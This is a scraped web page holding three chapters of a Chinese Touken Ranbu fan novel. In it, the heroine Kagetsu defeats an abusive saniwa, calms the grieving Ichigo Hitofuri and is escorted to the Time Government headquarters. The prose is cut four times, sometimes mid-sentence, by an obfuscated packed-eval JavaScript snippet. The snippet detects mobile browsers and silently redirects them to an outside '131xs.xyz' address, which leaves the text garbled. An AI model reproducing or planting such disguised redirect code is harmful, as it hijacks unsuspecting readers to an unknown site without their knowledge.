;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676023|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在原地喘息着,辉月观察起天守阁,这个审神者呆了相当长时间的地方一定留下了很多有用的痕迹,比如在离审神者不远处的桌子上,一把断成两半的短刀。
它被放得很随意,像是被随手往桌面上一丢,因为惯性滑出去一段,然后就停留在那个位置,再也没有变过直到现在。
辉月走过去将它拿起。
刀剑乱舞游戏里的刀剑越来越多了,辉月记性不好,记不下每把刀剑的特征,融合了三日月的灵力后,她隐约感觉自己记性更差了。端详片刻她本应认不出这把短刀的,然而在她听到的这座本丸的故事里,断掉的短刀只有一把——药研藤四郎。
没想到他断成两半的本体被留在了这里。
辉月握着残刀回头,对上了审神者的目光。
她在看到辉月中的刀剑碎片时眼神飘忽了一瞬,但随后她说,“为我碎掉是他的荣幸。”
“看来你承认自己逼迫刀剑真刀手合,并在此过程中导致药研碎刀了。”辉月说。
“关你什么事。”
“确实不关我事,但是事实对吧,还有鸣狐。”
“你知道的还挺多。”审神者看起来对此很不高兴,眼睛眯了起来紧盯着辉月,如同即将订上木板的钉子一样,“那你知道吗,和泉守兼定现在还重伤不起,堀川亲手打的哦。”
看见辉月脸上闪过惊讶之色,她开心地拍着手笑起来,“你也不是什么都知道嘛。”
辉月握紧药研的碎片深吸一口气,将心底翻涌的情绪压了下去。
差不多可以了,再聊下去,不宰了这个嚣张的失格者都收不了场。
她转身向审神者走去,一手握着药研一手握着本体。
察觉到了气氛的变化,审神者又露出了惊惶的表情,“你要干什么?”
懒得理她,辉月当然不会回答她的问题,只按着自己的步伐走去,“你有一颗畸变的心,传播出不能称之为爱的畸形感情,简直就像一场瘟疫,于是本丸变成这样。我想这么说,但又觉得说了你也不会明白。”
她已走至审神者面前,低头看着那张涂上油漆一样煞白的脸,那失去颜色的唇还在蠕动着说着什么,“我是爱他们的,我是爱他们的,是他们没有给我应有的回应。他们擅自有了重要的同伴。是他们辜负了我,我……”
那张嘴里吐出的话语辉月一句没听,就像辉月说的话,她也不会听一样,“不具备审神者应有的心智,也不明白审神者所代表的含义的你,没有资格成为审神者。扭曲的心,扭曲的欲,连清醒地活着都做不到了。”
手起刀落,审神者的身体如那栋被刀剑付丧神以血肉撞倒的墙一般,轰然倒下。
空气突然变得很安静。
楼下刀刃碰撞的声音爬山楼梯,穿过未关的门,模糊地传进辉月的耳朵里。于是她知道混战还未结束。
她要赶紧下去了,希望时间来得及。
15.新手教程13
在和堀川三刃商讨计划时,他们就明确表达了尽量不要将粟田口卷入。藤四郎们是一股庞大且好用的力量,但藤四郎的长兄已经失去理智,这股力量就如同失去领头的鸟群,稍不留神就会迷失方向、四处乱撞。
是她提出要引来一期一振,将天守阁下的混战搅得更浑,她不希望因此有刀剑受到重伤。
踏上向下的楼梯,一楼的声音更清晰。
在最后一段楼梯上,辉月便看见压切长谷部已经昏迷着瘫坐在一旁,现在是陆奥守吉行和大和守安定一起控制着一期一振。
他的状态看上去比辉月上楼时更加不稳定,那不畏疼痛不知退缩的样子,让人看了胆寒。
明明已经浑身浴血,分不清那里是新的伤口,哪里是旧伤崩裂,却依然没有一点要倒下的征兆。
辉月站在最后一段楼梯上,高举起药研的碎片,对他大喊,“一期一振,看看这个!”
一期一振被她的声音吸引,目光转过来时瞬间便锁定了她手上的碎刀。他嘴唇嗫嚅几下,好像要说什么,却什么声音也没发出来。
突然从濒临极限的身体内爆发出巨大的能量,一下将大和守和陆奥守挥开,他直奔辉月的方向而来。
不,他是奔着她手上的刀而来。
“三日月!”大和守喊声中带着疑惑、震惊而微不可察的担忧。
陆奥守被挥开在地上翻滚一圈后,连忙爬起来,向这边赶来。
这些发生在一楼的场景辉月无心留意,她在一期一振动了的第一刻就转身向上跑去。
身后传来跌跌撞撞的响动,伴随着间歇的嘶吼,辉月上了二楼,进了审神者所在的房间后将碎刀放在了一旁。
一期一振紧随着冲了进来,既没看她,也忽视了倒在墙边的审神者,直奔碎刀扑了过去,一把将其抱在了怀里。
即使是断成两半的刀剑也锋利无比,将他用力怀抱着的手划破,辉月看见有新鲜血液往下滴落,本就浓郁的血腥味更重了。
等待片刻,估摸着他稍微冷静了下来,辉月对着那一动不动比审神者更像尸体的他说,“没能找到鸣狐,抱歉。”
在一阵宛如拉锯的怪声之后,她恍若听见他开口说话了,“……”
辉月上前一步讶然道,“什么?”
“……”
“啊是啊,出阵时碎刀,流落战场了。”辉月半蒙半猜想着他说的话应该是这个。
“……乱……”
这下辉月听清了其中一个字,很确定一期仍想着他正在寻找的弟弟。他原本以为和从前一样,又是审神者伤害了他的弟弟,但在这里他找回了药研,却没有寻到乱的踪迹。
辉月为自己利用了长兄对弟弟们的感情而感到抱歉,如实向一期解释道,“乱没有丢,我知道他在哪里。我们在天亮之前会过面。”
话音未落,一期瞬时回头,盯上了辉月。
面对一期一振锁定猎物一般的发着凶光的双眼,她没有胆怯,只是微微侧头,向一期展示自己被绑成麻花辫的一小缕头发。
那一缕头发是乱藤四郎喜欢的编发,上面的发绳也正是乱平时用的粉红细绳。一期只需要一眼就看出,那是乱自愿帮她编的。
他稍稍放心,却没有就此放下警惕。
在辉月靠近他到一定距离时,他的目光愈发危险起来。
面对这样一个伤痕累累又露出獠牙浑身是刺的危险付丧神,辉月在悲悯他的伤痛与遭遇的同时,感到了让手脚发凉的威胁。
但也是这样,她明白这振一期一振是可以交流的。她堪称马后炮地想着,早知道死后会遇到这种事情,生前就再多锻炼锻炼谈判技巧了。
她停在了一个对一人一刃都安全的距离,尽量温和地说道,“你受的伤很重,需要治疗。”
他的身体猛地顿了一下,发出了一声近乎无奈的冷笑。辉月说的话似乎隐秘地刺痛了他。
“不会再有碎刀发生了,不会再有刀剑受到磋磨了。”辉月弯曲一边膝盖,缓缓蹲下来,与他保持平视,“时之政府检测到了这里的异常,我正是为解决此事而来的。”
生前朋友说过她说话很温柔,尤其是轻声细语之时。她对自己的声音没什么想法,但如果这种温柔能安抚到面前的付丧神就太好了。
可惜他听闻一动不动、一声不吭,如同一尊染血的石像。
辉月与他对视一会,只好硬着头皮继续说,“失格的审神者会被处理,藤四郎们,这座本丸的大家都会重新拥有好的归宿,包括你。”
好像这时候才想起来世界上还有这样一个审神者,他看向倒在墙边的女人,沉默着走了过去。气氛在这一刻就变得凝滞起来。
辉月不由自主地握紧了本体,但随后又控制着自己放松。在和这振一期交流过后,她知道他没有完全失去理智。
他站定在审神者身侧,垂首望着她,凝视了许久。从那个背影看不出他心里在想些什么,只能感觉到似乎他的身体里有一个漩涡正旋转着、吞噬着,将他的心掏空之后,又接着向看着这一幕的旁人张开深渊巨口。
几乎是一种本能,在气氛凝滞到极点之时,一期一振手摸上了刀,手臂用力到紧绷是将要拔刀的前兆。
在辉月终于按捺不住要开口时,另一个人先于她开口。
“一期尼。”
一期一振比辉月先回头看去。
是鲶尾藤四郎。
不知道何时上来的,不知道他在那看了多久,两把太刀都没察觉到胁差的存在。
他在并未关上的推拉门外,紧靠着门探出身体,那声呼唤颤抖着,却又难掩深处的坚定,“不要。”
“什么?”一期一振依然不语,疑惑出声的是一旁的辉月。
鲶尾没有看辉月,直接跑了进来扑到了一期的身上,“我们不想要失去一期尼。”
他的双手紧紧缠绕在一期一振身上,就像是攀着巨木生长的藤蔓,又像是拖住失足掉落之人的登山绳。
在看到一期尼疑似要弑主之时,他的心跳得比任何时候都快。即使是要将刀锋对向一期尼的时候,即使是得知审神者抛下他们据守天守阁再不会出现时,他都没有产生这样的惶恐,仿佛下一秒自己会失去很重要的东西。
即使是在这个被主人抛弃的世界,即使再也无法回到曾经普通而快乐的生活,只要和兄弟们在一起,永远只能行走在黑夜之中也没关系。
唯独不想失去一期尼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687554|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他、藤四郎们都是这样想的。
主人生或死,做出那个改变的都不应该是一期尼。那把象征着吉光之荣耀的刀剑如果将主人的脖颈斩断,如果沾染上由弑主所带来的血液,他们就会失去他。
鲶尾紧紧地抱住他,不知道谁才是救命稻草。
“是审神者率先做出失格之举,违反了和时之政府签下的契约,刀剑付丧神反抗暴行却不曾取下失格者的性命。”辉月对抱在一起的兄弟说,“不要担心,事情尚未到无可回转的地步。”
她虽然不忍心打断兄弟情深,但也不想看悲伤的气息愈发浓郁。如果亲眼看到粟田口的两兄弟相拥而泣,当然这不太可能真的发生,那她的一些素质一些美好品德都会原地消失,说不定回头就抗议时政压榨死人还压迫刀剑付丧神。
“……”一期一振张了张嘴,干涩的声音如同生锈的齿轮艰难运转一般从他嘴里冒出,和他当前的形象很配。
辉月依稀听见他说的是,“我弑过主。”
闻言鲶尾有些着急了,盯着一期一振好像在说,‘这个时候就别说这些了’。
一期接收到他的视线,原本阴沉冰冷的面庞柔和下来,勉强挤出一个僵硬的笑,还不忘分出手搂住挂身上的他。
看看鲶尾又看看一期,辉月不由得感叹家人的力量真是强大,弟弟一来,一期会说人话也会笑了。
“说什么呢,哪有弑主,审神者这不还没死呢。”辉月说。
另外两刃的目光瞬间投注到躺在地上的那具身体上。
“只是打晕了而已。我不能让她死,因为她需要接受公正的审判,接下她应得的罪名与惩戒。但做错事的人需要承担做错事的代价,所以我可以替你们偷偷划两刀,放心,之后来的时政人员不会发现的。我会跟他们说,只是在制服人的过程中发生了一点小摩擦。”
闻言一期一振轻笑一声,笑里混杂着淡淡的苦涩和缥缈如烟的释然。
“谢谢。”他的声音也轻得如同烟雾,风一吹便刮跑了。
“没什么,我也挺看不惯她的。”辉月说。
他缓缓摇了摇头,不再分给地上那人半点眼神,转而注视起手中药研的碎刀。
“药研……”鲶尾没想到会在这里看见药研已然断裂的残刃,惊讶地睁大了眼睛。
“三日月殿,我想拜托您一件事,”一期一振再度握紧手中断刃,突然望向辉月,大抵是许久没有好好与人交流过,他说话语速很慢,如同闲置许久到生锈的大型机器,但也显得尤为郑重。
与他眼神相接的那刻,辉月像是与他完成了一波无声的交流。
鸣狐在离开前也一直记挂的是他,药研即使碎刀也会希望兄长无恙,所以哪怕已经浑身被伤,满目血色,也请怀念着他们,继续往前走吧。这样也算是完成了他们未完成的心愿。
他已经知晓她尚未出口的说辞,但他只是说,“我希望弟弟们能有更好的未来。”
他将手中的碎刀交付给了辉月。
断裂的刀落在手心带来微弱却锋利的痛意,像是喉咙里攀爬着长出蔷薇,辉月说话时,身体里也泛着相似的微痛,“我明白了。”
她直直地对着一期说,“你也会有。”
16.新手教程14
整个本丸最大的难题——一个审神者已倒下,一个一期一振已被控制,这场混战便就此停歇了。
楼下的刀剑付丧神们在一期一振跟着辉月上楼后,便停战了。几个人留在一楼收拾残局,几个人上了楼。当时二楼推拉门外的阴影里其实不止鲶尾一把刀,遗憾房间里两把太刀的侦查没有一个能比得上门外刀剑的隐蔽,直到走出门外辉月对上了好几双眼睛,才发现这一点。
姗姗来迟的短刀藤四郎们和鲶尾一起将他们的长兄带回了部屋,当然还有与辉月约定躲起来,此时才现身的乱藤四郎。
走出二楼房间时,堀川国广站在楼梯的墙边,在辉月经过他身边时问,“你是谁?”
此时的辉月尚未从刚刚的情绪中走出,闻言也没有多少惊讶。
“一振特殊的三日月罢了,正如我刚刚所说,我是为了解决这里的问题而来。”她说完顿了一下,“抱歉,一开始骗了你们。”
堀川又问,“你什么时候联系了时政?”
这个问题辉月无法回答,于是她摇了摇头答非所问,“那边的人现在正在来的路上。在他们来之前,这几天还是要麻烦你们了。”
堀川深深地看了一眼后,错身绕过她,往二楼走去。
辉月见状提高声音道,“在时政来之前,审神者最好还是活着,不然可不太好交代。”
堀川嗤笑一声,但还是停住了脚步,听辉月接下来的话。
“我听说了和泉守的事情。”
“那个人跟你炫耀的?”
“我很抱歉。”
“跟你有什么关系。”堀川的语气冷淡中多了些不忿。
“我是想说,有什么需要帮忙的地方可以跟我说,比如给她两刀撒撒气?”
耳钉那边传来什么东西被打翻的声音,先前辉月第一次说这话,A56还以为是稳住一期一振的话术,这下再听见他简直无法不怀疑,辉月是真心想要这么做的。
偏偏现在辉月身边都是刀剑付丧神,A56内心慌乱,却连想开口劝阻都不敢。独自一人处于观察室的他只能一个人默默承受着欲哭无泪的心情。
辉月只当没听见耳边的异响,在堀川回头看她时,展露一个优雅的微笑,就好像刚刚只是在品鉴什么风雅之物。
这略显离奇的发言震惊了A56,也让堀川身上萦绕不止的愤懑消去了几分,“我也不是什么执着于仇恨的刀剑,弑主的事情计划过,要不是因为兼先生……你都那么说了,我现在只想上去再看一眼。
说来奇怪啊,总觉得她的脸变得十分模糊,我快忘记她是个怎样的人类了。”
最后一句从他口中说出,宛若叹息。
跟着上来的陆奥守对辉月说,“你在房间里说的那些话,再跟下面的大家说一遍吧。咱是相信你的,但大家心里还有疑虑啊。楼上交给咱吧,不会出问题的。”
说完他快步上了楼,在朝辉月挥了挥手后跟着堀川进了房间。
这把接受能力极强的刀剑付丧神,面对出人意料的混乱也总能展现出稳定可靠的一面,作为初始刀降临在这样一座本丸,碰上这样一个审神者,也真是辛苦他了。
哪怕没有他的那一句话,辉月也会让这场计划之内的混战完整做结,更何况得到了初始刀陆奥守的嘱托。
她转身向下走去,和其他刀剑一起收拾残局。
次日,时之政府的稽查队终于到达。
与寻常时空转换装置不同的声响回响在空旷寂静的本丸。虽然已经从辉月那里知道了后续的走向,但此刻听见那未曾听闻的声音出现在生活许久的本丸中,他们的内心还是感到一阵惘然。
这支直接隶属于时政的神秘队伍由人类和刀剑付丧神组成,有着比寻常时政员工更为严肃的行事风格,更为严密的内部纪律。
他们穿着特殊制服,白色打底上面有金色纹路流转。上身近似于紧身风衣,衣摆前短后长,尽显风流倜傥的同时也不影响行动。手臂和腿部上上下下绑了很多绑带与挂包,辉月不由得对此多看了两眼,心中暗想,这衣服设计得好闷骚。不过那些绑带挂包并非只是装饰,在某位稽查队员的走动间,她在衣摆遮掩下看见了腿上绑着的短刀。
稽查队一部分成员前往天守阁羁押失格审神者,一部分成员将本丸中的刀剑付丧神召集到大广间,其中不包括辉月。
一个自称队长的女人将辉月叫到一旁。
她没有和队伍里的其他人类一样,带着审神者同款护神纸,而是带着遮蔽大半张脸的覆面。
只露出一双眼睛的女人看上去神秘又冷酷,这让今剑有点紧张,他拉住辉月问,“你不跟我们一起去吗?”
昨日他被辉月骗去了通往池塘的小路,又在辉月不见后一路找回了部屋,等他顺着嘈杂的声音赶到天守阁时,一切已尘埃落定。
伤员们被带到手入室,辉月在手入室帮忙了多久,今剑便在旁边用谴责的眼光盯了她多久。
直到现在隐约感知到了分别的前兆,他才终于不安地靠近辉月。
辉月顺着今剑拉她的力道蹲下身,轻抚他的侧脸,“抱歉啊,我不能跟你们一起。”
今剑似乎不太乐意,拽了拽她的长袖。
“我是时政派遣过来的,所以不用担心,不会有任何危险的。”任由今剑动作,她笑了笑,面对着撒娇一般的短刀,语气不由得变轻。
“我知道,三日月解释过了,还跟我道了歉,明明不用这样的。只是,我们以后还能再见吗?”
以后还能再见吗?
这个问题,辉月也不知道该怎么回答啊。
或者该说,她也是被这个问题困住的人啊。
还能再见吗?还能再见到曾经属于她的刀剑们吗?还能再回到那个陪伴她数年之久的本丸吗?
当时她这么问A56时,他委婉否定了这个可能性。
她明白的,人生不就是这样,总是有太多错过,有太多遗憾。人们总是希望万事能有一个美好的、圆满的结局,可真正好的结局,世上又有多少。
她知道的,她连自己的未来、自己的结局都摸不清楚,又怎么可以向这振期待地看着她的今剑做出任何保证。
可即使这样,她依然不想让他失望。
“会哦,”辉月将今剑鬓角的碎发捋顺至耳后,笑着对他说,“会再见的,虽然不知道是哪天。可能会等很久很久,才能等到下一次见面的时候。那么,今剑兄长愿意等我吗?”
“当然!我还想和三日月一起玩。我会一直等着的哦,所以不许忘记,不许忘记我们的约定,不许忘记我。”今剑毫不犹豫地握住了辉月的手。
辉月回握住他,两双手紧紧交织在一起。
“那么,说好了。”
她此刻的决心比任何钻石都闪耀而坚硬,为今剑,也为她自己。
说好了。要回到那个属于她自己的本丸,要再见到她的刀剑付丧神们。这是她与自己立下的约定。
直到今剑和爱染、陆奥守他们一起随着稽查队的成员前往大广间,稽查队队长才解除旁观状态从远处走过来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692995|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>听到了辉月和今剑对话的她对此没做出任何评价,双手一叉上下打量了辉月一番,突兀地笑了一声。
“你就是那个什么,辉月?”看不见那人的脸,但辉月可以想象,覆面之下她一定拽拽地挑着嘴角。这人说起话来和看起来完全不像,尾音上挑,没有一丝时政公务员的严谨倒有路边混混堆里大姐头的风采。
“为什么要笑呢?”辉月对这种人很没辙,很多时候你都分不清他们对你是善意的好奇还是恶意的揣度。
“没什么,”她又发出一声近乎气音的笑,“就是觉得你真敢说啊。”
闻言辉月皱了皱眉。
“啊别在意,我就随便一说,我的副队总说我喜欢多嘴,或许现在也是?”她挥了挥手,就仿佛把之前说的话、留下的印象都挥走了,“说正事吧。你在这里的任务已经完成,我派两个队员先送你回总部,接下来的事情交给我们就好。”
辉月回头望向今剑他们离开的方向,已经看不到半点人影,“他们会怎么样?”
“别担心,我们的处理方法一向人道,嗯?刃道,算了都一样。愿意的就分配到新的本丸,继续他们本该有的生活,不愿意的可以留在时政。嗯,如果留在时政的话就业面就很广了,你可能不太清楚,其实除了审神者们可以接触到的出阵地点,还有很多遭遇时间溯行军入侵的时空位面。其中有很多遭遇了严重入侵,需要时政人员和强大的本丸通力合作,进行控制之后再下派给审神者们进行日常或活动。
当然有部分刀剑可能留下比较严重的创伤暂时不适合再上战场,就会分配去后勤或是进行文书工作。不过呢,这种的一般干两三年就会主动要求调往前线或是下放新本丸。果然啊,社畜什么的,刀剑们也干不了。”
蒙着面的女人不知道是性格使然天生话多,还是有意为辉月作详细解释,说了一大段话也没有要停的趋势。
一大段信息冲进辉月的脑子里,让她的反应都不由自主地慢了下来。
该吐槽刃道是什么东西吗,刀剑也讲就业面?至于他们在后方待不下去,只是因为刀剑的本性还是渴望听见刀刃碰撞的嗡鸣,望见敌人垂死挣扎着倒下,在安稳中待得太久,反而要钝掉锈掉,反而更加渴求在战场上挥刀饮血。只是这样吧。
但她说得实在认真,以致辉月吐槽的话说不出口。
“也有很小很小的一部分,可能觉得主人死了自己也没什么好活吧,会选择自行刀解。”
看到辉月突然转头看她,她歪头笑了一下,“据说是不痛的,更何况相比你这次看到的那样,干净利落的刀解反倒更好吧。我是这么觉得的。啊呀,不要这么看我,就随便说说咯,我是不懂刀剑付丧神的,大概这就是为什么我做不了审神者。”
辉月收回了望向她的目光,微微叹了口气,“知道了,走吧。”
“回总部?”
“嗯。”
见人比想象中识相,稽查队队长眼睛弯弯笑意溢了出来,身边的空气都雀跃起来,“太好了。我叫乌玫,是稽查部第三小队队长。你可能不太想记,但我劝你记住比较好,过段时间说不定还要见面。”
“幸会。”辉月中规中矩地说道。
这人说话的语气和方式总让人有种胸口憋气的错觉,明明是在正儿八经地讲话,却总感觉受到了挑衅。初次见面就给人留下个吊儿郎当不靠谱的印象,这样的人怎么当上稽查队队长的,还是说就是这样的人进入问题本丸盘查更容易把失格审神者气得露出马脚?
那可真是剑走偏锋了。
17.初入总部
时政总部是一栋银白色的大楼,位于独立的时空位面中。
这是带她过来的两位稽查队队员告诉她的。
事实上在她的认知里,应该说这一整处时空位面都是时政总部才更合适。因为当穿过为此行专门建立的特殊时空通道后,辉月抬头,发现自己正站在一整座后现代风格的城镇中央。
或许叫城池也没有问题,因为它很大很宽广,一眼望过去,看不见城的边缘。
参差错落着宛若群山一般往远处延伸而去的楼宇将银白色的大楼包裹在中间,楼宇同样以银色为主色调,科技感十足。与银白色大楼不同的是,楼宇并不是纯色,其上覆盖穿插了许多颜色,看起来比大楼更有活人气息。而另一侧是偌大空阔的广场。
此刻他们正站在广场上,脚底下、广场的地面上分布着错综复杂的线条,交错之后形成了一个巨大的法阵。
看起来挺不科学的,但也不一定,或许科学的尽头就是魔法呢。
见辉月注视着脚下的法阵,其中一个面相比较成熟的队员解释说,“这是时空法阵,辅助配合特殊时空通道使用。为了防止坐标泄露,每次任务结束后,我们都会把法阵抹除。”
时政总部所在时空位面是始终移动的,这既是防止在与历史修正主义的对抗中遭受时间溯行军的袭击,也是一种对于自身所拥有的时空技术的自信。
说完那名队员向广场边上挥了挥手,辉月顺着他挥手的方向看去,是穿着和A56一样的工作制服的人,正守在法阵边上,准备随时应对各种突发情况。
和留守工作人员打完招呼,他一面带着辉月往里走去,一面介绍,“这就是时政总部了。”
向他抬手的方向望去,辉月观察起面前的大楼。楼很高,辉月尽力抬头脖子都酸了也数不清有多少层,大楼表面的材质十分特殊,有着独特的反光技巧,自带隐形。那位队员说,走到楼底才能看见楼的存在,如果是在城里甚至城外就看不见。
辉月不禁有些好奇。
那位队员补充说道,“这栋大楼就是时政主楼。不过也只有在文件上、公开会议上这么称呼。因为这整个时空位面里住的都是时政员工及家属,所以我们一般直接把整个位面叫总部,叫它主楼。你知道的,在这种无伤大雅的细节上,民间偶尔会和官方唱唱反调。”
另一个看着年轻一些也更活泼的队员插话说,“还不是因为这片城镇叫员工城,不知道谁想到的名字也太难听了。反正我不乐意叫,委屈委屈总部改叫主楼刚刚好!”
说完他对着辉月露出一个明媚的笑,“我叫溯阳,叫我小阳就可以。这是灰灰。”他自我介绍完又自作主张地帮旁边的人介绍了,不正经的话斩获了不赞同的一瞥。
“是安武灰。”那位偏成熟的队员补充道。
按照他们队长乌玫的说法,她的资料他们应该都看过了,于是辉月只是笑着点了点头,权作回应。
刚刚那则关于“总部”之名归属权的逸闻还挺有意思的,两人之间有来有往的互动也像一出未经彩排的小品,让尚未从任务氛围中脱身而出的辉月稍稍放松了些。
她转头回望那一望无际的楼宇,可以想象时政内部有多少员工。
在死亡来到这里后,从A56那里得到更多消息,也亲眼见识了时政下的隶属部门,时政这个在生前被她以游戏设定而知晓的组织逐渐真实立体起来。这个名为时之政府,也如名字一般掌握了极为先进的时空技术的组织,从各个位面吸纳来了许多有能之士,其中有的举家搬迁过来,便是到了眼前的城镇中,有的放不下原本的世界,选择签署保密协议,隔一段时间时空穿越回家一趟。
而她前世的身份审神者,大家说起来都戏称是时政的打工人,但事实上任职归任职,严格意义上来说,审神者不属于时政下的任何一个部门,两者的关系,就像时政和刀剑付丧神的本灵一样,属于合作关系。
所以,这片位面里,她应该是唯一一个审神者了。
不,她也不是审神者了。
已经感受过的愁绪暂时放下,且让它随风散去,不必执着揪心。她现在最好奇的正是眼前这栋大楼。
“时政主楼,为什么要做成隐形的?”
不然就像某苏市的大裤衩,当个地标多有意思,放假的时候还能来打卡拍照。正好时政主楼在城镇中央,能看见的话还能当立体北极星指路用。娱乐价值皆实用意义这不就都有了。
辉月第一个想到的是,莫非像隐形战斗机那样是出于战争目的。但仔细一想又觉得不对,不说隐形战机主要是电磁隐形,眼前的大楼那是直接肉眼隐身了。如果真有历史修正主义者那么厉害,派遣时间溯行军直接突破到时政总部,威胁到时政主楼,那时政也别开了。
听到辉月的问题,安武灰微妙地笑了一下,“担心是不是时间溯行军会打到这?好像很多第一次来的人都会这么想。”
溯阳立刻跳出来接话道,“我就说这个设计有问题吧,好两次来上班我都没找到路,结果迟到了,都怪它隐形。”
安武灰闻言笑着往他脑门上来了个重重的毛栗,教训说,“还不是因为你一边走路一边看小说,什么《星际快递,使命必达》,什么《被蚊子咬后获得异能,我靠码字称霸一方》,不许看了听见没,再看销了你的光网号。”
见溯阳缩着脖子闭了嘴鹌鹑一样乖乖听训,不再说些不着调的话,他放下心继续向辉月解释,“总部所在的时空坐标一直在变化,且经过多层加密,非常安全。更何况时间溯行军也不是只靠眼睛索敌,它们能感知灵力,还能察觉时空波动,肉眼隐形对它们没用。”
辉月瞥了眼故意落下两步,在背后朝刚刚训他的人扮鬼脸的溯阳,觉得很有意思,也不检举他的幼稚举动,继续问道,“那设计成这样是为了宣扬武德?”
安武灰笑了一笑,没有否认补充说,“也是因为之前的表面材质会反光,被附近住户投诉光污染严重。”
“光污染?”此时三人聊着天已走入了主楼的大门门口。辉月站在门内,回首抬头看了看没有太阳依然晴朗的天。
光线正好,天也蓝得清澈,看着便觉得舒心,辉月却怎么也看不习惯。没有太阳的天空会晴朗成这样吗?
应该是人造的,考虑到时政的科技树,她做出这样的判断。唯有这样可以解释,为什么见过自然太阳的辉月看它就像在看一幅精美的风景照,美丽且真实,但你就知道那不是存在你面前、可以触摸的真实之物。
溯阳跟着小声附和道,“是啊,太阳都没有,人造自然光还说什么光污染。”
说着几人走进了主楼的电梯,应当是电梯吧,虽然长得和生前的电梯并不相似。它并不是嵌在位于墙体内的长方体,而是呈现出椭圆的鸡蛋状直接竖在地面上。辉月跟着两人走进去,看“蛋壳”在面前合上没有留下一点空隙,就在合上的瞬间,光滑的内壁上突然凸显出了画面,并随之响起了声音。
“今日菜单。主食:红烧肉营养液,全新配比,堂堂登场,保留了红烧肉最原本的风味……菜蔬营养液。以苦瓜汁为主味,辅之以芹菜、胡萝卜……副食:混合果汁,以荔枝作为基底,加入苹果……”
从内壁里飞出来的画面是立体的,随着声音变化着,展示着所描述的餐品。或许不应该叫画面,毕竟那立体呈现的混合果汁跟实物没什么两样,且都快贴到她脸上了。辉月看不出是什么原理,有点类似3D打印,组成物是光,但她抬手,却从那立体画面中穿了过去,或许是光粒子在空中组合又重构?
死而复生以来辉月第一次的无助就在此刻,一方面因为那贴脸展示的没见过的高科技,一方面为时政员工居然吃的这么简单而心酸。
身边两人对此毫不在意,就像是她从前在电梯里看见小屏幕上的广告一样,看不见也听不见似的直接忽视,既不新奇也不心酸。
就在她的注意力都被立体菜单展示吸引走时,电梯不声不响宛若没动过一般到了8层。
直到各种颜色的营养液化为粒子消散在空中,电梯内重归安静,她才发现已经到了。
安武灰带着辉月走出电梯,行走在主楼内部,一边和辉月闲聊着,一边在闲聊里自然加入了对时政的介绍,无形之中打消了她在全新环境里的不适应。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703923|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“听说你之前是个老牌审神者?没来过这里吧。不过这也很正常,一般审神者入职都是直接进本丸签契约,只有很少一部分会在升至高级本丸后,接下和时政战斗部的合作行动,在行动开会的时候来到这里。
楼里的人都是像我们一样直接隶属于时政的,包括战斗部、科研部、后勤部、宣传部、统筹部,当然还有我们稽查部。说起来,稽查部的位置是离地面最近的,每次出任务都很方便。这算优势吗?我们倒是觉得不算,但其他部门不服,觉得楼层低下班也快,不公平。”
说到这他笑了两声。
进了时政主楼溯阳便像是放假结束回到学校的学生,变得无精打采起来,在听到说起时政的部门后,又突然活跃回来,从安武灰手边一下子窜到了辉月身旁,“你知道吗?战斗和后勤这两个部门可是宿敌啊,主楼外表面反光据说就是战斗部的人故意投诉的,看后勤那边的为着换什么材质做工抓耳挠腮他们可开心了。”
“传言而已。”安武灰插话道,一句话截断了传播中的谣言,“出阵需要物资、需要装备,回来还要治疗,都是钱嘛,要想出阵大捷又不能不顾这些。因为经费两部多有摩擦,但远远算不上敌人。”
对辉月解释完,他又问溯阳,“主楼重修都是几十年前的事情了,这没依据的传言,你从哪里听来的?”
“躺在医疗室聊天的时候,随便聊聊也不知道是谁说的。”溯阳小心地去瞟安武灰的脸色,见人没有严肃地板下脸便知道没什么事,于是挠了挠头,放心地又挂上没心没肺的笑转头和辉月大谈八卦,
